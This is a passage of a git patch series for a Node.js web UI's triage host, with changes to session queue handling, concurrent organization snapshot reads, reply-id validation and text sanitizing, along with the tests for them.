append({ at: now().toISOString(), from: "host", in_reply_to: id, text: NOT_STARTED }); } catch {} relay?.close(); relay = null; log(`triage host: start failed: ${e.code ?? "error"}`); @@ -381,12 +396,12 @@ export function createTriageHost({ dataRoot, route = null, readSnapshot = async } return { id, at }; }, - async stop() { + async stop({ graceMs = 5000 } = {}) { const c = child; if (c) { try { process.kill(-c.pid, "SIGTERM"); } catch {} await new Promise((resolve) => { - const t = setTimeout(() => { try { process.kill(-c.pid, "SIGKILL"); } catch {} resolve(); }, 5000); + const t = setTimeout(() => { try { process.kill(-c.pid, "SIGKILL"); } catch {} resolve(); }, graceMs); c.once("exit", () => { clearTimeout(t); resolve(); }); }); } diff --git a/packages/webui/src/triage-snapshot.mjs b/packages/webui/src/triage-snapshot.mjs index b44ccc099..585db192a 100644 --- a/packages/webui/src/triage-snapshot.mjs +++ b/packages/webui/src/triage-snapshot.mjs @@ -21,6 +21,7 @@ // names the config path and data-root facts, so only its first line's leading word is matched // against SYSTEM_CONFIG_CODES; the text itself never leaves this module. +import { randomBytes } from "node:crypto"; import { spawn } from "node:child_process"; import { chmodSync, renameSync, rmSync, writeFileSync } from "node:fs"; import { join, resolve, dirname } from "node:path"; @@ -38,6 +39,8 @@ export const BUS_STATES = Object.freeze(["running", "not-answering", "stopped", const UNIT_ACTIVE = Object.freeze(["active", "inactive", "failed", "activating", "deactivating", "reloading", "unknown"]); export const READ_TIMEOUT_MS = 5000; export const MAX_ORGS = 200; +// At most this many organizations are read at once; each read can start a node child for its config check. +export const ORG_READS_AT_ONCE = 4; // What a failed system config check may say. Each refusal code the validator prints as its first // word passes as itself; a known sentence maps to a fixed code; anything else is the exit's general @@ -177,6 +180,15 @@ function configFields(c, codes) { // readers: { orgs() -> [{ id, state }], busStatus(id) -> status (a CliError, or a throw with // `dead: true`, is a dead host), processing(id), orgConfig(id), proxy(), systemConfig() }. Each may be missing. +// fn over items, at most `limit` running at once; the results keep the items' order. +async function mapLimit(items, limit, fn) { + const out = new Array(items.length); + let next = 0; + const worker = async () => { while (next < items.length) { const i = next++; out[i] = await fn(items[i]); } }; + await Promise.all(Array.from({ length: Math.min(limit, items.length) }, worker)); + return out; +} + export async function composeSnapshot(readers = {}, { now = () => new Date(), timeoutMs = READ_TIMEOUT_MS } = {}) { const at = now().toISOString(); const read = (name, ...args) => (typeof readers[name] === "function" ? bounded(() => readers[name](...args), timeoutMs) : Promise.resolve(NOT_READ)); @@ -184,7 +196,7 @@ export async function composeSnapshot(readers = {}, { now = () => new Date(), ti let organizations = NOT_READ; if (Array.isArray(orgsRaw)) { const active = orgsRaw.filter((o) => o && typeof o === "object" && o.state === "active" && typeof o.id === "string" && ID_PATTERN.test(o.id)).slice(0, MAX_ORGS); - const list = await Promise.all(active.map(async ({ id }) => { + const list = await mapLimit(active, ORG_READS_AT_ONCE, async ({ id }) => { const [bus, processing, config] = await Promise.all([ typeof readers.busStatus === "function" ? bounded(async () => { @@ -196,7 +208,7 @@ export async function composeSnapshot(readers = {}, { now = () => new Date(), ti read("orgConfig", id), ]); return { id, bus: bus === NOT_READ ? NOT_READ : bus, processing: processingFields(processing), config: configFields(config, ORG_CONFIG_CODES) }; - })); + }); organizations = { count: list.length, list }; } return { @@ -212,7 +224,7 @@ export async function composeSnapshot(readers = {}, { now = () => new Date(), ti // One file, replaced whole: written beside itself at 0600, then renamed over the last one. export function writeSnapshot(healthDir, snapshot) { const file = join(healthDir, SNAPSHOT_FILE); - const temp = join(healthDir, `.${SNAPSHOT_FILE}.${process.pid}.tmp`); + const temp = join(healthDir, `.${SNAPSHOT_FILE}.${process.pid}.${randomBytes(6).toString("hex")}.tmp`); try { writeFileSync(temp, JSON.stringify(snapshot, null, 2) + "\n", { mode: 0o600 }); chmodSync(temp, 0o600); diff --git a/packages/webui/tests/triage-cards.test.mjs b/packages/webui/tests/triage-cards.test.mjs index e7e83d8ba..5209c795f 100644 --- a/packages/webui/tests/triage-cards.test.mjs +++ b/packages/webui/tests/triage-cards.test.mjs @@ -16,6 +16,14 @@ test("each known step renders its fixed command for a registered org", () => { assert.equal(validateCard({ step: "org-config-validate", org: "alpha" }, orgs).command, "mosaic org config validate alpha"); }); +test("a dev local owner Console renders bus-start with its flag; every other step and Console stays as it is", () => { + const orgs = new Set(["alpha"]); + const reply = '```cards\n[{"step": "bus-start", "org": "alpha"}, {"step": "bus-stop", "org": "alpha"}]\n```'; + assert.deepEqual(extractCards(reply, orgs, { devOwner: true }).cards.map((c) => c.command), ["mosaic bus start alpha --dev-local-owner --detach", CARD_STEPS["bus-stop"]("alpha")]); + assert.deepEqual(extractCards(reply, orgs).cards.map((c) => c.command), ["mosaic bus start alpha --detach", CARD_STEPS["bus-stop"]("alpha")]); + assert.equal(validateCard({ step: "bus-start", org: "alpha" }, orgs, { devOwner: "yes" }).command, "mosaic bus start alpha --detach", "only true turns it on"); +}); + test("a card with an unknown step, an unknown org or an extra field is dropped", () => { assert.equal(validateCard({ step: "bus-delete", org: "alpha" }, orgs), null); assert.equal(validateCard({ step: "toString", org: "alpha" }, orgs), null); diff --git a/packages/webui/tests/triage-host.test.mjs b/packages/webui/tests/triage-host.test.mjs index f938faa14..570913d66 100644 --- a/packages/webui/tests/triage-host.test.mjs +++ b/packages/webui/tests/triage-host.test.mjs @@ -10,7 +10,7 @@ import { join } from "node:path"; import { Client } from "../../bus/src/client.mjs"; import { sandboxProblem } from "../../seat/src/sandbox.mjs"; import { - RELAY_REFUSED, ROUTE_ENV_ALLOW, SPAWN_ENV_ALLOW, createRelay, createTriageHost, hostPrompt, triageEnv, + NOT_STARTED, RELAY_REFUSED, ROUTE_ENV_ALLOW, SPAWN_ENV_ALLOW, UNANSWERED, createRelay, createTriageHost, hostPrompt, triageEnv, } from "../src/triage-host.mjs"; const FIXTURE = new URL("./fixtures/triage-adapter.mjs", import.meta.url).pathname; @@ -43,7 +43,8 @@ test("triageEnv keeps the fixed names and the route's proxy variables, and nothi assert.deepEqual(Object.keys(env).sort(), ["ANTHROPIC_AUTH_TOKEN", "ANTHROPIC_BASE_URL", "LANG", "PATH", "TZ"]); assert.equal(env.PATH, "/opt/node/bin:/usr/bin:/bin"); assert.deepEqual(SPAWN_ENV_ALLOW, ["PATH", "LANG", "LC_ALL", "TZ", "TERM"]); - assert.deepEqual(ROUTE_ENV_ALLOW, ["ANTHROPIC_BASE_URL", "ANTHROPIC_AUTH_TOKEN", "ANTHROPIC_API_KEY"]); + assert.deepEqual(ROUTE_ENV_ALLOW, ["ANTHROPIC_BASE_URL", "ANTHROPIC_AUTH_TOKEN"]); + assert.equal(triageEnv(CONSOLE_ENV, { ANTHROPIC_API_KEY: "from-the-route" }).ANTHROPIC_API_KEY, undefined, "the session gets no key, only the proxy's token"); assert.equal(triageEnv(CONSOLE_ENV).ANTHROPIC_API_KEY, undefined, "a key in the Console's environment is not the route's"); }); @@ -150,9 +151,25 @@ test("a route whose answer carries a config, bus or founder variable is refused await assert.rejects(h.message("hello"), (e) => e.code === "triage-route-invalid", name); assert.equal(h.running, false); assert.equal(existsSync(join(dataRoot, "triage", "agent", "session.json")), false); + // The owner's line is written before the start; the transcript then says it was not delivered. + const [owner, note, ...rest] = (await h.state()).transcript; + assert.deepEqual([owner.from, owner.text, note.from, note.in_reply_to, note.text, rest.length], ["owner", "hello", "host", owner.id, NOT_STARTED, 0], name); } }); +test("a read and a message that arrive together share one snapshot read", async (t) => { + let reads = 0, release; + const gate = new Promise((r) => { release = r; }); + const { h } = host(t, scratch(), { readSnapshot: async () => { reads++; await gate; return SNAPSHOT; } }); + const both = Promise.all([h.refresh(), h.refresh()]); + release(); + const [a, b] = await both; + assert.equal(reads, 1); + assert.equal(a, b); + await h.refresh(); + assert.equal(reads, 2, "a later refresh reads again"); +}); + test("a Triage directory that is a link is refused", async (t) => { const root = scratch(); const dataRoot = join(root, "data"); @@ -254,3 +271,49 @@ test("end to end under the sandbox: the first message starts the session, which assert.equal(h.running, false); assert.equal(existsSync(join(dataRoot, "triage", "agent", "relay.sock")), false); }); + +// A route answer that runs the stub adapter under the sandbox. +function stubRoute(root) { + const adapter = join(root, "adapter.sh"); + writeFileSync(adapter, `exec '${process.execPath}' '${FIXTURE}'\n`, { mode: 0o644 }); + return { admit: async () => ({ ok: true, adapter, harness: "fake", harnessEnv: {}, harnessMounts: [], turnEnd: "exit", model: "stub", provider: "stub", env: {} }) }; +} +const repliesOf = (h, n, from = "triage") => waitFor(async () => { + const list = (await h.state()).transcript.filter((e) => e.from === from); + return list.length >= n ? list : null; +}); + +test("a second start on the same data root answers too: the last run's turns do not stop the next", { skip, timeout: 120000 }, async (t) => { + const root = scratch(); + const route = stubRoute(root); + const first = host(t, root, { route }).h; + const one = await first.message("one"); + assert.deepEqual((await repliesOf(first, 1)).map((e) => [e.text.replace(/\n\n.*$/s, ""), e.in_reply_to]), [["echo: one", one.id]]); + await first.stop(); + assert.equal(first.running, false); + const { h: second, dataRoot } = host(t, root, { route }); + const two = await second.message("two"); + const list = await repliesOf(second, 2); + assert.deepEqual(list.map((e) => [e.text.replace(/\n\n.*$/s, ""), e.in_reply_to]), [["echo: one", one.id], ["echo: two", two.id]]); + assert.equal((await second.state()).transcript.filter((e) => e.from === "host").length, 0); + assert.equal(existsSync(join(dataRoot, "triage", "agent", "turns")), true); +}); + +test("a session that ends mid-turn: the message it took is answered by the host, leaves the queue, and the next message is answered", { skip, timeout: 120000 }, async (t) => { + const root = scratch(); + const { h, dataRoot } = host(t, root, { route: stubRoute(root) }); + const slept = await h.message("SLEEP"); + // The turn has started once the runner made its turns directory. + await waitFor(() => { try { return readdirSync(join(dataRoot, "triage", "agent", "turns")).length > 0; } catch { return false; } }); + const pid = h.pid; + assert.ok(Number.isInteger(pid)); + process.kill(-pid, "SIGKILL"); + const [note] = await repliesOf(h, 1, "host"); + assert.deepEqual([note.in_reply_to, note.text], [slept.id, UNANSWERED]); + await waitFor(() => !h.running); + assert.equal((await h.state()).lastExit.signal, "SIGKILL"); + const next = await h.message("after"); + const [reply] = await repliesOf(h, 1); + assert.deepEqual([reply.text.replace(/\n\n.*$/s, ""), reply.in_reply_to], ["echo: after", next.id]); + assert.equal((await h.state()).transcript.filter((e) => e.from === "host").length, 1, "the killed message is answered once and not taken again"); +}); diff --git a/packages/webui/tests/triage-http.test.mjs b/packages/webui/tests/triage-http.test.mjs index afe9e9302..fff0bb4c8 100644 --- a/packages/webui/tests/triage-http.test.mjs +++ b/packages/webui/tests/triage-http.test.mjs @@ -138,6 +138,39 @@ test('a signed-out caller and a granted user get the unknown-route answer on bot assert.equal(triage.calls.length, before, 'the host saw nothing from them'); }); +test('on an organizations Console the instance owner reaches both routes; a member, a signed-out caller and an org-selected path get the unknown answer', async t => { + const triage = fakeTriage(); + const organizations = { list: async () => [], resolve: async id => (id === 'x' ? { busHealthy: true } : null) }; + const owner = await devServer(t, { triage, organizations }); + const read = await send(owner.port, '/api/triage', { headers: { host: owner.headers.host } }); + assert.equal(read.status, 200, 'the owner reads'); + assert.equal(read.json.route, 'set'); + assert.equal((await send(owner.port, '/api/triage/message', { method: 'POST', headers: owner.headers, body: { text: 'hi' } })).status, 202, 'and writes'); + assert.equal((await send(owner.port, '/api/config', { headers: { host: owner.headers.host } })).json.triage, true); + const seen = triage.calls.length; + // With an organization selected the paths are that organization's, and Triage is in none. + for (const [path, method] of EVERY) { + const orgPath = path.replace('/api/', '/api/orgs/x/'); + await sameAsUnknown(owner.port, orgPath, method, owner.headers, method === 'POST' ? { text: 'hi' } : undefined, 'org selected'); + } + const member = await devServer(t, { triage, organizations, sso: { ...createDevOwner(), session: () => ({ name: 'Bob', rootOwner: false, instanceRole: 'member' }) } }); + const signedOut = await devServer(t, { triage, organizations, sso: { ...createDevOwner(), session: () => null } }); + for (const [label, f] of [['member', member], ['signed out', signedOut]]) { + for (const [path, method] of EVERY) await sameAsUnknown(f.port, path, method, f.headers, method === 'POST' ? { text: 'hi' } : undefined, label); + } + assert.equal(Object.hasOwn((await send(member.port, '/api/config', { headers: { host: member.headers.host } })).json, 'triage'), false); + assert.equal(triage.calls.length, seen, 'the host saw nothing from them'); +}); + +test('without organizations a member session gets the unknown answer and no drawer in the config', async t => { + const triage = fakeTriage(); + const member = await devServer(t, { triage, sso: { ...createDevOwner(), session: () => ({ name: 'Bob', rootOwner: false, instanceRole: 'member' }) } }); + for (const [path, method] of EVERY) await sameAsUnknown(member.port, path, method, member.headers, method === 'POST' ? { text: 'hi' } : undefined, 'member'); + assert.equal((await send(member.port, '/api/triage', { headers: { host: member.headers.host } })).status, 404); + assert.equal(Object.hasOwn((await send(member.port, '/api/config', { headers: { host: member.headers.host } })).json, 'triage'), false); + assert.deepEqual(triage.calls, []); +}); + test('without a host, on a loopback Host under --sso, and on the tester listener the routes are unknown', async t => { const none = await devServer(t); for (const [path, method] of EVERY) await sameAsUnknown(none.port, path, method, none.headers, method === 'POST' ? { text: 'hi' } : undefined, 'no host'); diff --git a/packages/webui/tests/triage-snapshot.test.mjs b/packages/webui/tests/triage-snapshot.test.mjs index 4700cc827..fe3b49b6b 100644 --- a/packages/webui/tests/triage-snapshot.test.mjs +++ b/packages/webui/tests/triage-snapshot.test.mjs @@ -5,7 +5,7 @@ import assert from "node:assert/strict"; import { mkdtempSync, mkdirSync, writeFileSync, readFileSync, statSync, readdirSync } from "node:fs"; import { join } from "node:path"; import { - NOT_READ, SNAPSHOT_FIELDS, SYSTEM_CONFIG_CODES, ORG_CONFIG_CODES, composeSnapshot, readSystemConfig, readOrgConfig, + NOT_READ, SNAPSHOT_FIELDS, SYSTEM_CONFIG_CODES, ORG_CONFIG_CODES, ORG_READS_AT_ONCE, composeSnapshot, readSystemConfig, readOrgConfig, runExitOnly, systemConfigCode, writeSnapshot, busFields, proxyFields, } from "../src/triage-snapshot.mjs"; @@ -155,3 +155,14 @@ test("the snapshot file is one 0600 file, replaced whole", () => { assert.deepEqual(readdirSync(join(dir, "health")), ["snapshot.json"]); assert.equal(JSON.parse(readFileSync(file, "utf8")).n, 2); }); + +test("organizations are read at most ORG_READS_AT_ONCE at a time and listed in registry order", async () => { + let live = 0, most = 0; + const ids = Array.from({ length: 10 }, (_, i) => `org${i}`); + const slow = async () => { live++; most = Math.max(most, live); await new Promise((r) => setTimeout(r, 5)); live--; return { valid: true, exit: 0, code: null }; }; + const snap = await composeSnapshot({ orgs: async () => ids.map((id) => ({ id, state: "active" })), orgConfig: slow }); + assert.equal(ORG_READS_AT_ONCE, 4); + assert.equal(most, ORG_READS_AT_ONCE); + assert.deepEqual(snap.organizations.list.map((o) => o.id), ids); + assert.equal(snap.organizations.count, 10); +}); -- 2.54.0 From 2e9a2068bdf2dce6edf443f780de7ee8128b80ea Mon Sep 17 00:00:00 2001 From: Jason Woltje Date: Mon, 16 Nov 2026 13:22:56 -0600 Subject: [PATCH 6/7] fix(webui): triage re-check, the organization reads share one deadline, a reply that names its message answers it, every queued message leaves the queue with a host line when the session ends, and a launcher that cannot run is a failed start (#1873, lane triage-host) --- packages/webui/src/triage-host.mjs | 34 +++++++++---- packages/webui/src/triage-snapshot.mjs | 15 ++++-- .../webui/tests/fixtures/triage-adapter.mjs | 5 ++ packages/webui/tests/triage-host.test.mjs | 49 ++++++++++++++++++- packages/webui/tests/triage-snapshot.test.mjs | 26 ++++++++++ 5 files changed, 115 insertions(+), 14 deletions(-) diff --git a/packages/webui/src/triage-host.mjs b/packages/webui/src/triage-host.mjs index a6da8231c..c691818e6 100644 --- a/packages/webui/src/triage-host.mjs +++ b/packages/webui/src/triage-host.mjs @@ -42,6 +42,7 @@ export const TRANSCRIPT_KEEP = 200; export const QUEUE_MAX = 20; export const UNANSWERED = "Triage stopped before it answered this message. Send it again."; export const NOT_STARTED = "Triage did not start, so this message was not delivered."; +export const NOT_TAKEN = "Triage stopped before it read this message. Send it again."; // An over-cap answer is held for at most this long; a later time is not taken. export const CAP_HOLD_MAX_MS = 48 * 3600 * 1000; const ISO_TIME = /^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}(\.\d{1,3})?Z$/; @@ -293,9 +294,13 @@ export function createTriageHost({ dataRoot, route = null, readSnapshot = async const i = queue.findIndex((m) => m.id === id); if (i >= 0) queue.splice(i, 1); }, + // A reply that names a queued message answers it: the message leaves the queue here, so a + // session that ends before its message.read leaves no "unanswered" line under an answer. onSend: ({ body, in_reply_to }) => { const { text, cards, dropped } = extractCards(body, orgIds(), { devOwner: devOwner === true }); append({ at: now().toISOString(), from: "triage", text, cards, dropped, ...(in_reply_to ? { in_reply_to } : {}) }); + const i = in_reply_to ? queue.findIndex((m) => m.id === in_reply_to) : -1; + if (i >= 0) queue.splice(i, 1); }, log, }); @@ -308,6 +313,11 @@ export function createTriageHost({ dataRoot, route = null, readSnapshot = async closeSync(out); } const mine = child; + const closeRelay = () => { + relay?.close(); + relay = null; + rmSync(join(paths.agent, "relay.sock"), { force: true }); + }; mine.on("error", () => {}); mine.stdin.on("error", () => {}); mine.stdin.end(JSON.stringify({ cap }) + "\n"); @@ -315,17 +325,23 @@ export function createTriageHost({ dataRoot, route = null, readSnapshot = async if (child !== mine) return; lastExit = { code: Number.isInteger(code) ? code : null, signal: signal ?? null, at: now().toISOString() }; child = null; - // A message the session took and never marked read was not answered. It leaves the queue, so - // it holds no slot, and the transcript says so; a message it never took waits for the next start. - for (let i = queue.length - 1; i >= 0; i--) { - if (!queue[i].delivered) continue; - const [m] = queue.splice(i, 1); - try { append({ at: now().toISOString(), from: "host", in_reply_to: m.id, text: UNANSWERED }); } catch { log("triage host: transcript write failed"); } + // Every message still queued leaves it, so none holds a slot with no session to answer it, and + // the transcript says which: one the session took and never answered, or one it never read. + for (const m of queue.splice(0)) { + try { append({ at: now().toISOString(), from: "host", in_reply_to: m.id, text: m.delivered ? UNANSWERED : NOT_TAKEN }); } catch { log("triage host: transcript write failed"); } } - relay?.close(); - relay = null; - rmSync(join(paths.agent, "relay.sock"), { force: true }); + closeRelay(); }); + // A launcher that cannot run (missing, not executable) fires "error" and never "exit": the start + // failed, so the caller writes NOT_STARTED and the host is not left reporting a session. + try { + await new Promise((resolve, reject) => { mine.once("spawn", resolve); mine.once("error", reject); }); + } catch (e) { + if (child === mine) child = null; + closeRelay(); + log(`triage host: launcher did not run: ${e.code ?? "error"}`); + throw new TriageError("triage-start-failed", "the Triage session did not start"); + } }; // The cap is the route's to count. Once it answers over the cap with a time in the next two days, diff --git a/packages/webui/src/triage-snapshot.mjs b/packages/webui/src/triage-snapshot.mjs index 585db192a..40e77195e 100644 --- a/packages/webui/src/triage-snapshot.mjs +++ b/packages/webui/src/triage-snapshot.mjs @@ -189,23 +189,30 @@ async function mapLimit(items, limit, fn) { return out; } -export async function composeSnapshot(readers = {}, { now = () => new Date(), timeoutMs = READ_TIMEOUT_MS } = {}) { +// The organization stage runs under one deadline, `timeoutMs` from its start, however many +// organizations there are: an organization whose reads have not finished by then is "not read", and +// one not yet begun is not read at all. A whole snapshot takes at most about two timeouts. +export async function composeSnapshot(readers = {}, { now = () => new Date(), timeoutMs = READ_TIMEOUT_MS, clock = Date.now } = {}) { const at = now().toISOString(); const read = (name, ...args) => (typeof readers[name] === "function" ? bounded(() => readers[name](...args), timeoutMs) : Promise.resolve(NOT_READ)); const [proxyRaw, systemRaw, orgsRaw] = await Promise.all([read("proxy"), read("systemConfig"), read("orgs")]); let organizations = NOT_READ; if (Array.isArray(orgsRaw)) { const active = orgsRaw.filter((o) => o && typeof o === "object" && o.state === "active" && typeof o.id === "string" && ID_PATTERN.test(o.id)).slice(0, MAX_ORGS); + const deadline = clock() + timeoutMs; const list = await mapLimit(active, ORG_READS_AT_ONCE, async ({ id }) => { + const left = deadline - clock(); + if (left <= 0) return { id, bus: NOT_READ, processing: NOT_READ, config: NOT_READ }; + const readOrg = (name) => (typeof readers[name] === "function" ? bounded(() => readers[name](id), left) : NOT_READ); const [bus, processing, config] = await Promise.all([ typeof readers.busStatus === "function" ? bounded(async () => { try { return busFields(await readers.busStatus(id)); } catch (e) { return e?.name === "CliError" || e?.dead === true ? busFields(null, true) : NOT_READ; } - }, timeoutMs) + }, left) : NOT_READ, - read("processing", id), - read("orgConfig", id), + readOrg("processing"), + readOrg("orgConfig"), ]); return { id, bus: bus === NOT_READ ? NOT_READ : bus, processing: processingFields(processing), config: configFields(config, ORG_CONFIG_CODES) }; }); diff --git a/packages/webui/tests/fixtures/triage-adapter.mjs b/packages/webui/tests/fixtures/triage-adapter.mjs index 30a2c0650..e5bf1e13c 100644 --- a/packages/webui/tests/fixtures/triage-adapter.mjs +++ b/packages/webui/tests/fixtures/triage-adapter.mjs @@ -6,6 +6,7 @@ // CARDS answer a reply with a cards fence: one valid card, one unknown step // TOOL call send_message to through the tool socket and answer the raw reply // SLEEP hang until killed +// REPLY-SLEEP send the person an answer to this message through the tool socket, then hang until killed // anything else answer "echo: " import { existsSync, readFileSync, writeFileSync } from "node:fs"; import { connect } from "node:net"; @@ -54,6 +55,10 @@ if (body === "PROBE") { process.stdout.write('The alpha bus is stopped.\n```cards\n[{"step": "bus-start", "org": "alpha"}, {"step": "bus-wipe", "org": "alpha"}]\n```\n'); } else if (body.startsWith("TOOL ")) { process.stdout.write(await toolCall("send_message", { to: body.slice(5), body: "from the tool", class: "INFO" })); +} else if (body === "REPLY-SLEEP") { + const id = request.match(/^Message (\S+) from /m)?.[1]; + await toolCall("send_message", { to: "human", body: "answered early", class: "INFO", in_reply_to: id }); + setInterval(() => {}, 1000); } else if (body === "SLEEP") { setInterval(() => {}, 1000); } else { diff --git a/packages/webui/tests/triage-host.test.mjs b/packages/webui/tests/triage-host.test.mjs index 570913d66..fce0b9cca 100644 --- a/packages/webui/tests/triage-host.test.mjs +++ b/packages/webui/tests/triage-host.test.mjs @@ -10,7 +10,7 @@ import { join } from "node:path"; import { Client } from "../../bus/src/client.mjs"; import { sandboxProblem } from "../../seat/src/sandbox.mjs"; import { - NOT_STARTED, RELAY_REFUSED, ROUTE_ENV_ALLOW, SPAWN_ENV_ALLOW, UNANSWERED, createRelay, createTriageHost, hostPrompt, triageEnv, + NOT_STARTED, NOT_TAKEN, RELAY_REFUSED, ROUTE_ENV_ALLOW, SPAWN_ENV_ALLOW, UNANSWERED, createRelay, createTriageHost, hostPrompt, triageEnv, } from "../src/triage-host.mjs"; const FIXTURE = new URL("./fixtures/triage-adapter.mjs", import.meta.url).pathname; @@ -317,3 +317,50 @@ test("a session that ends mid-turn: the message it took is answered by the host, assert.deepEqual([reply.text.replace(/\n\n.*$/s, ""), reply.in_reply_to], ["echo: after", next.id]); assert.equal((await h.state()).transcript.filter((e) => e.from === "host").length, 1, "the killed message is answered once and not taken again"); }); + +test("a launcher that cannot run is a failed start: the message is not delivered, nothing reports running, and the next message is refused the same way", async (t) => { + const root = scratch(); + const adapter = join(root, "adapter.sh"); + writeFileSync(adapter, "exit 0\n"); + const route = { admit: async () => ({ ok: true, adapter, harness: "fake", harnessEnv: {}, harnessMounts: [], turnEnd: "exit", model: "m", provider: "p", env: {} }) }; + const { h, dataRoot } = host(t, root, { route, bwrap: join(root, "no-such-launcher") }); + for (const text of ["one", "two"]) { + await assert.rejects(h.message(text), (e) => e.code === "triage-start-failed", text); + assert.equal(h.running, false, text); + } + const lines = (await h.state()).transcript.map((e) => [e.from, e.text]); + assert.deepEqual(lines, [["owner", "one"], ["host", NOT_STARTED], ["owner", "two"], ["host", NOT_STARTED]]); + assert.equal(existsSync(join(dataRoot, "triage", "agent", "relay.sock")), false); +}); + +test("a reply that names its message answers it: a session killed after replying leaves no unanswered line", { skip, timeout: 120000 }, async (t) => { + const root = scratch(); + const { h } = host(t, root, { route: stubRoute(root) }); + const sent = await h.message("REPLY-SLEEP"); + const [reply] = await repliesOf(h, 1); + assert.deepEqual([reply.text.replace(/\n\n.*$/s, ""), reply.in_reply_to], ["answered early", sent.id]); + process.kill(-h.pid, "SIGKILL"); + await waitFor(() => !h.running); + assert.deepEqual((await h.state()).transcript.filter((e) => e.from === "host"), []); +}); + +test("a message the session never read gets a host line when it ends and leaves the queue", { skip, timeout: 120000 }, async (t) => { + const root = scratch(); + const { h, dataRoot } = host(t, root, { route: stubRoute(root) }); + const slept = await h.message("SLEEP"); + await waitFor(() => { try { return readdirSync(join(dataRoot, "triage", "agent", "turns")).length > 0; } catch { return false; } }); + // The runner takes one message per turn and is held in SLEEP, so this one is queued and never taken. + const waiting = await h.message("waiting"); + process.kill(-h.pid, "SIGKILL"); + await waitFor(() => !h.running); + const notes = (await repliesOf(h, 2, "host")).map((e) => [e.in_reply_to, e.text]).sort((a, b) => a[1].localeCompare(b[1])); + assert.deepEqual(notes, [[waiting.id, NOT_TAKEN], [slept.id, UNANSWERED]].sort((a, b) => a[1].localeCompare(b[1]))); +}); + +test("with devOwner set, a card's bus start carries the dev-owner flag", { skip, timeout: 120000 }, async (t) => { + const root = scratch(); + const { h } = host(t, root, { route: stubRoute(root), devOwner: true }); + await h.message("CARDS"); + const [reply] = await repliesOf(h, 1); + assert.deepEqual(reply.cards, [{ step: "bus-start", org: "alpha", command: "mosaic bus start alpha --dev-local-owner --detach" }]); +}); diff --git a/packages/webui/tests/triage-snapshot.test.mjs b/packages/webui/tests/triage-snapshot.test.mjs index fe3b49b6b..fa1c11c8a 100644 --- a/packages/webui/tests/triage-snapshot.test.mjs +++ b/packages/webui/tests/triage-snapshot.test.mjs @@ -166,3 +166,29 @@ test("organizations are read at most ORG_READS_AT_ONCE at a time and listed in r assert.deepEqual(snap.organizations.list.map((o) => o.id), ids); assert.equal(snap.organizations.count, 10); }); + +test("the organization reads share one deadline: forty hung organizations take one timeout, not ten", async () => { + let calls = 0; + const ids = Array.from({ length: 40 }, (_, i) => `org${i}`); + const hang = () => { calls++; return new Promise(() => {}); }; + const began = Date.now(); + const snap = await composeSnapshot({ orgs: async () => ids.map((id) => ({ id, state: "active" })), busStatus: hang, processing: hang, orgConfig: hang }, { timeoutMs: 200 }); + const took = Date.now() - began; + assert.ok(took < 800, `took ${took} ms`); + assert.ok(calls < ids.length, `${calls} reads began`); + assert.equal(snap.organizations.count, 40); + assert.deepEqual(snap.organizations.list.map((o) => o.id), ids); + for (const o of snap.organizations.list) assert.deepEqual([o.bus, o.processing, o.config], [NOT_READ, NOT_READ, NOT_READ], o.id); +}); + +test("an organization begun late gets only what is left of the deadline", async () => { + const ids = ["a0", "a1", "a2", "a3", "a4"]; + const hang = () => new Promise(() => {}); + // Three readers hang; a3 answers after 300 ms, and the worker that read it starts a4 with 100 ms left. + const orgConfig = (id) => (id === "a3" ? new Promise((r) => setTimeout(() => r({ valid: true, exit: 0, code: null }), 300)) : hang()); + const began = Date.now(); + const snap = await composeSnapshot({ orgs: async () => ids.map((id) => ({ id, state: "active" })), orgConfig }, { timeoutMs: 400 }); + const took = Date.now() - began; + assert.ok(took < 600, `took ${took} ms`); + assert.deepEqual(snap.organizations.list.map((o) => [o.id, o.config === NOT_READ ? "not read" : "read"]), [["a0", "not read"], ["a1", "not read"], ["a2", "not read"], ["a3", "read"], ["a4", "not read"]]); +}); -- 2.54.0 From 820f45e474f9f18634b10af4c6c67926974c72e6 Mon Sep 17 00:00:00 2001 From: Jason Woltje Date: Mon, 16 Nov 2026 14:05:46 -0600 Subject: [PATCH 7/7] fix(webui): triage final review, a reply names only a message id the host issued: the relay keeps in_reply_to only when it is an owner message id and drops anything else, so no model-written string reaches the transcript or the GET unchecked; the text cleaner also removes U+061C, U+180E, U+2028, U+2029 and U+FEFF (#1873, lane triage-host) --- packages/webui/src/triage-cards.mjs | 2 +- packages/webui/src/triage-host.mjs | 5 ++++- packages/webui/tests/triage-cards.test.mjs | 1 + packages/webui/tests/triage-host.test.mjs | 18 ++++++++++++------ 4 files changed, 18 insertions(+), 8 deletions(-) diff --git a/packages/webui/src/triage-cards.mjs b/packages/webui/src/triage-cards.mjs index 1233cf4af..76406ed53 100644 --- a/packages/webui/src/triage-cards.mjs +++ b/packages/webui/src/triage-cards.mjs @@ -23,7 +23,7 @@ const FENCE = /```cards[ \t]*\r?\n([\s\S]*?)\r?\n?```/g; export function plainText(value, max = MAX_TEXT) { if (typeof value !== "string") return ""; // eslint-disable-next-line no-control-regex - return value.replace(/\r\n?/g, "\n").replace(/[\u0000-\u0008\u000b-\u001f\u007f-\u009f​-‏‪-‮⁦-⁩]/g, "").slice(0, max); + return value.replace(/\r\n?/g, "\n").replace(/[\u0000-\u0008\u000b-\u001f\u007f-\u009f\u061c\u180e\u2028\u2029\ufeff​-‏‪-‮⁦-⁩]/g, "").slice(0, max); } // One card, or null. orgIds is the set of registry ids the snapshot read. diff --git a/packages/webui/src/triage-host.mjs b/packages/webui/src/triage-host.mjs index c691818e6..9927ca053 100644 --- a/packages/webui/src/triage-host.mjs +++ b/packages/webui/src/triage-host.mjs @@ -47,6 +47,8 @@ export const NOT_TAKEN = "Triage stopped before it read this message. Send it ag export const CAP_HOLD_MAX_MS = 48 * 3600 * 1000; const ISO_TIME = /^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}(\.\d{1,3})?Z$/; const LINE_MAX = 64 * 1024; +// The id the host gives each owner message. A reply may name only such an id. +const OWNER_ID = /^owner-[0-9a-f]{12}$/; const CAP = /^[0-9a-f]{64}$/; // The spawn's environment: these names from the Console's own environment, PATH fixed, and the @@ -157,7 +159,8 @@ export function createRelay({ socket, cap, take, read, onSend, log = () => {} }) if (verb === "message.receive") return answer(conn, { ok: true, result: take() }); if (verb === "message.read") { read(args.id); return answer(conn, { ok: true, result: {} }); } if (verb === "message.send" && args.to === "human" && typeof args.body === "string" && args.body.length <= 32768) { - onSend({ body: args.body, in_reply_to: typeof args.in_reply_to === "string" ? 